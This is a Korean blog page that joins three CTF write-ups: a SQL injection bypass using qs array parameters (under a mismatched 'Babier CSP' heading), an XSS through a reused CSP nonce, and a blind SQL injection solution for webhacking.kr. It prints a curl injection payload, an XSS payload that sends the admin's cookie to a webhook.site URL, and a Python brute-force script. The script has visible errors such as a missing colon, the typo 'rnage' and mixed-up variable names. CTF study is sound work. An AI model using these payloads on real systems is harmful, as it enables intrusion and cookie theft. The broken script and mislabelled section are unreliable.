[DiceCTF]의 web/Babier CSP 문제를 Review 해보도록 하겠다.

직접 푼 문제는 아니고 대회 종료 후 writeup을 보면 풀어본 문제다.

 

로그인 기능을 구현한 웹페이지가 있었다.

아래는 순서대로 이페이지의 소스코드와 index.js의 소스 코드이다.

<!doctype html>
<html>
    <head>
        <link rel="stylesheet" href="/styles.css">
    </head>
    <body>
        <div>
          <h1>Login</h1>
          <form method="POST" action="/login">
            <label for="username">Username</label>
            <input name="username" type="text" id="username"/>
            <label for="username">Password</label>
            <input name="password" type="password" id="password"/>
            <input type="submit" value="Submit"/>
          </form>
        </div>
    </body>
</html>
const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')

// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  username TEXT,
  password TEXT
);`);

// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
  'admin',
  '${crypto.randomBytes(16).toString('hex')}'
)`);

const express = require('express');
const bodyParser = require('body-parser');

const app = express();

// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));

// login route
app.post('/login', (req, res) => {
  if (!req.body.username || !req.body.password) {
    return res.redirect('/');
  }

  if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
    return res.redirect('/');
  }

  // see if user is in database
  const query = `SELECT id FROM users WHERE
    username = '${req.body.username}' AND
    password = '${req.body.password}'
  `;

  let id;
  try { id = db.prepare(query).get()?.id } catch {
    return res.redirect('/');
  }

  // correct login
  if (id) return res.sendFile('flag.html', { root: __dirname });

  // incorrect login
  return res.redirect('/');
});

app.listen(3000);

 

index.js 소스코드 리딩을 통해 correct Login을 수행하여 flag.html을 얻는게 우리 목표인 것을 확인하였다.

소스코드를 리딩하기 전에 간단한 SQL injection들을 시도하여 원래 페이지로 리다이렉트 되는 것을 확인 할 수 있었고,

이는 index.js 코드에도 설정되어 있었다.

  if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
    return res.redirect('/');
  }

 

app.post에서 '가 통제되고 있는 것을 확인 할 수 있다.

(추가) 문자열을 검사하여 싱글쿼터의 존재 유무를 검사한다.

index.js 코드를 다시 보니 아래와 코드가 보였다.

app.use(bodyParser.urlencoded({ extended: true }));

bodyParser.urlencoded({         })); 

이는 중첩된 객체표현을 허락할지 말지 정할 때 사용된다.

이때 빈칸에 코드와 같이 extended: true가 기입되면 객체 안에 객체가 들어가는 걸 허용하게 된다.

 

qs library와 querystring library, 설정에 따라 사용하는 라이브러리가 달라지는데 더 자세한 점은 아래 stackoverflow를 참고하기 바란다.

stackoverflow.com/questions/29960764/what-does-extended-mean-in-express-4-0/45690436#45690436

 

우리는 'qs를 사용하여 쿼리 분석이 이루어 진다. qs는 쿼리 문자열에서 중첩 된 객체를 만든다' 라는 사실을 알 수 있다.

 

대략 이런식?
username[]='aaaa'&password[]='aaaa'

(추가)이게 문자열이 아니라 객체로 인식이 되어 버려서 필터링을 우회 할 수 있게 된다.

 

 

이 점을 이용해서 만들어진 페이로드는 아래와 같다.

curl -XPOST "https://missing-flavortext.dicec.tf/login" -d "username=admin&password[]=' OR 1=1 -- &password[]=\'"

이 페이로드를 사용하여 request를 보내면 아래와 같이 flag가 나온다.

 

 

'Challenge > CTF' 카테고리의 다른 글

[2021 hspace] Baby_Crypto  (0) 2021.05.07
[DiceCTF] web/Web Utils (2)  (0) 2021.03.09
[DiceCTF] web/Web Utils (1)  (0) 2021.02.23
[DiceCTF] web/Babier CSP  (0) 2021.02.09
CYBRICS CAPTURE THE FLAG  (0) 2020.07.28

[DiceCTF]의 web/Babier CSP 문제를 Review 해보도록 하겠다.

 

CSP?

Content Security Policy

 

index.js 파일이 추가적으로 제공되었다.

먼저 babier-csp.dicec.tf로 접속하면 아래와 같은 페이지가 보인다.

 

 

파인애플, 오렌지 과일이름이 나열된다.

아래는 해당 페이지의 소스코드이다.

<html>

<h1>pineapple</h1>
<a href='#' id=elem>View Fruit</a>

<script nonce=g+ojjmb9xLfE+3j9PsP/Ig==>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>

 

소스 코드를 보고 Html XSS가 가능할 것 같다고 생각했고 nonce 값이 눈에 확 들어왔다.

이 둘을 염두에 두고 추가적인 분석을 진행했다.

 

아래는 index.js의 코드이다.

const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;

const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');

const template = name => `
<html>

${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>

<script nonce=${NONCE}>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>
`;

app.get('/', (req, res) => {
  res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
  res.send(template(req.query.name || ""));
})

app.use('/' + SECRET, express.static(__dirname + "/secret"));

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`)
})

 

여기서 주의 깊게 봐야 될 것은 nonce 값이다. 

const, 상수인 nonce가 base64로 인코딩되어 해시값을 가진다.

개발자는 nonce값을 이용해 XSS를 보안을 강화하려 한 것으로 추정된다.

그러나 코드를 유심히 살펴 보면 nonce값이 한번 생성된 후로 값에 변화가 없다는 사실을 알수 있다.

이 취약점을 이용하여 XSS를 수행해 보았다.

babier-csp.dicec.tf/?name=%3C/h1%3E%3Cscript%20nonce=g%2Bojjmb9xLfE%2B3j9PsP/Ig==%3Ealert(%27test%27)%3C/script%3E%3C!--

(+는 %2B로 해주어야 인식합니다.)

XSS test를 할때 사용한 페이로드이다.

그 결과 아래와 같이 XSS가 성공한 것을 확인 할 수 있다.

우리는 이제 마음껏 XSS를 터뜨릴 수 있게 되었다.

 

이제는 Admin Bot을 대상으로 진행해야 했다.

 

The admin will set a cookie secret equal to config.secret in index.js.

 

관리자는 쿠키가 index.js에서 secret과 config.secret이 같게 설정할 것이다.

 

위와 같은 페이지가 응답 한다.

우리는 요청을 통해 쿼리를 받아내야 하기에 서버가 필요하다.

서버를 설치하기는 너무 귀찮고 시간도 없어서 webhook.site를 사용하여 임의의 웹훅을 제공받았다.

이를 이용해 아래와 같은 페이로드를 작성하였다.

https://babier-csp.dicec.tf/?name=
</h1><script nonce="g+ojjmb9xLfE+3j9PsP/Ig==">
window.location = 
'https://webhook.site/5085a1ab-3ae7-4113-abcd-5dc78ba50611?c='%2bdocument.cookie
</script>

 

이를 통해 secret의 값을 얻을 수 있게 되었다.

url에 아래의 값을 입력해주면 flag가 나타나게 된다.

/4b36b1b8e47f761263796b1defd80745

 

굉장히 유익한 문제였다.

재미도 있고 문제 수준도 좋았다.

'Challenge > CTF' 카테고리의 다른 글

[2021 hspace] Baby_Crypto  (0) 2021.05.07
[DiceCTF] web/Web Utils (2)  (0) 2021.03.09
[DiceCTF] web/Web Utils (1)  (0) 2021.02.23
[DiceCTF] web/Missing Flavortext  (0) 2021.02.16
CYBRICS CAPTURE THE FLAG  (0) 2020.07.28

[그림 1]

500점짜리 22번 문제를 준비 해 보았다.

mission : login as admin

Column Name : id, pw

admin 계정으로 로그인 하면 풀리는 문제인 것 같다.

hint로는 Column Name을 준 것 같다.

 

우선적으로 admin으로 로그인 시도를 해보았다.

[그림 2]

로그인에 실패했다.

다음으로 회원 가입을 통해 내가 만들어낸 계정이 DB에 등록되도록 하였다.

admin 계정이 이미 존재해서 ad m i n 으로 공백을 통해 회원가입 후 로그인을 시도 해 보았다.

id : ad m i n

pw : admin

 

[그림 3]

결과 창에 그대로 나오는 것으로 보아 효과가 없다는 것을 알 수 있다.

해시 값을 보고 자동 복호화 툴(직접 제작 중 미완성 오류가 너무 많다;;)을 이용해 암호 종류와 해시값을 알아냈다.

 

[그림 4]

32비트 해시 값으로 md5가 사용되었고 해시값은 'admin'+'apple' adminapple이라고 나온 것을 확인 할수 있었다.

apple을 솔트 값으로 확인 한 것이다.

 

 

지금까지 모은 정보를 정리해 보면

Columname 2개, hash값 = pw + salt, 내가 생성한 계정

 

sql injection 으로 admin의 해시 값을 구해 내면 될 것 같다. 

 

id = admin' # 구문을 통해 어떤 response가 나오는지 확인하였다.

[그림 5]

id는 admin이 맞지만 pw가 틀렸다.

 

id = admin' and ' 1' = '0' # 구문을 사용하여 한번 더 확인 해보았다.

[그림 6]

id는 admin이라는 것을 확실히 알 수 있다.

 

이제 문제는 pw이다.

blindsql을 사용하여 pw 길이를 먼저 구하고 그다음으로 철자를 하나씩 구해야 한다.

import requests

url='https://webhacking.kr/challenge/bonus-2/index.php'
headers = {'Cookie' : 'PHPSESSID= '}

pw = ""

for i in range(0, 100)
    data['uuid'] = {"admin' and length(pw)={}#".format(i)
    data['pw'] = None
    response=requests.post(url, data=data)
    if response.text.find("Wrong password") != -1:
        pw_length = i
        break
print("pw length = ", pw_length)

for i in range(1, pw_length+1):
    for j in rnage (33, 133):
        data['uuid'] = "admin' and ascii(substr(pw, {}, 1))={}#".format(i, j)
        data['pw'] = None
        response  = requests.post(url, data=data)
        if response.text.find("Wrong password") != -1:
            password+=chr(j)
            print(i, pw)
            break
print("Result = ", pw)

hash 값이 6c9ca386a903921d7fa230ffa0ffc153인것을 알수 있었다.

hash 값은 pw + apple이었으니 위 해시값을 복호화(?) 해주면 된다.(여기서도 자체 툴이 애를 먹었다.)

 

wowapple 이라는 값인 것을 알았다.

id = admin

pw = wow

 

로그인 해보면

[그림 7]

문제가 풀리는 것을 확인 할 수 있다.

'Challenge > webhacking.kr' 카테고리의 다른 글

Webhacking 61번 문제 풀이  (0) 2020.02.22
Webhacking 60번 문제 풀이  (0) 2020.02.22
Webhacking 59번 문제 풀이  (0) 2020.02.22
Webhacking 58번 문제 풀이  (0) 2020.02.20
Webhacking 56번 문제 풀이  (0) 2020.02.20

+ Recent posts